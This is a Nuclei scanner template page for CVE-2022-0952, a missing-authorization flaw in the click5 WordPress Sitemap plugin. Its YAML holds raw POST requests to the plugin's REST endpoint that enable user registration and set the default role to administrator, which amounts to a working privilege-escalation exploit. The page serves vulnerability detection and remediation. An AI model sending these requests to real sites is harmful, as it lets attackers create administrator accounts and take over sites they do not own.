Skip to content
Nuclei Templates

WordPress Sitemap by click5 <1.0.36 - Missing Authorization

ID: CVE-2022-0952

Severity: high

Author: random-robbie

Tags: cve,cve2022,wp,wp-plugin,sitemap,wpscan,wordpress,sitemap_project

Description

Section titled “Description”

WordPress Sitemap by click5 plugin before 1.0.36 is susceptible to missing authorization. The plugin does not have authorization or CSRF checks when updating options via a REST endpoint and does not ensure that the option to be updated belongs to the plugin. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

YAML Source

Section titled “YAML Source”
id: CVE-2022-0952


info:
  name: WordPress Sitemap by click5 <1.0.36 - Missing Authorization
  author: random-robbie
  severity: high
  description: |
    WordPress Sitemap by click5 plugin before 1.0.36 is susceptible to missing authorization. The plugin does not have authorization or CSRF checks when updating options via a REST endpoint and does not ensure that the option to be updated belongs to the plugin. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to sensitive information.
  remediation: |
    Update to the latest version of the WordPress Sitemap plugin by click5 (1.0.36 or higher) to fix the missing authorization issue.
  reference:
    - https://wpscan.com/vulnerability/0f694961-afab-44f9-846c-e80a0f6c768b
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0952
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/RandomRobbieBF/CVE-2022-0952
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2022-0952
    cwe-id: CWE-352
    epss-score: 0.33816
    epss-percentile: 0.96965
    cpe: cpe:2.3:a:sitemap_project:sitemap:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: sitemap_project
    product: sitemap
    framework: wordpress
  tags: cve,cve2022,wp,wp-plugin,sitemap,wpscan,wordpress,sitemap_project


http:
  - raw:
      - |
        POST /wp-json/click5_sitemap/API/update_html_option_AJAX HTTP/1.1
        Host: {{Hostname}}
        Content-type: application/json;charset=UTF-8


        {"users_can_register":"1"}
      - |
        POST /wp-json/click5_sitemap/API/update_html_option_AJAX HTTP/1.1
        Host: {{Hostname}}
        Content-type: application/json;charset=UTF-8


        {"default_role":"administrator"}
      - |
        POST /wp-json/click5_sitemap/API/update_html_option_AJAX HTTP/1.1
        Host: {{Hostname}}
        Content-type: application/json;charset=UTF-8


        {"users_can_register":"0"}


    matchers:
      - type: dsl
        dsl:
          - 'contains(header, "application/json")'
          - "status_code == 200"
          - "contains(body_1, 'users_can_register')"
          - "contains(body_2, 'default_role')"
        condition: and
# digest: 4a0a004730450220501beb7ccc3023635579ddb788d3639b1328ac1ee5a8374a1fd741eaafef1fd1022100e2147906caca888b433b07365aa10b8ca7dab9f0a5f5a69768845abe5b6a3b41:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-0952.yaml"

View on Github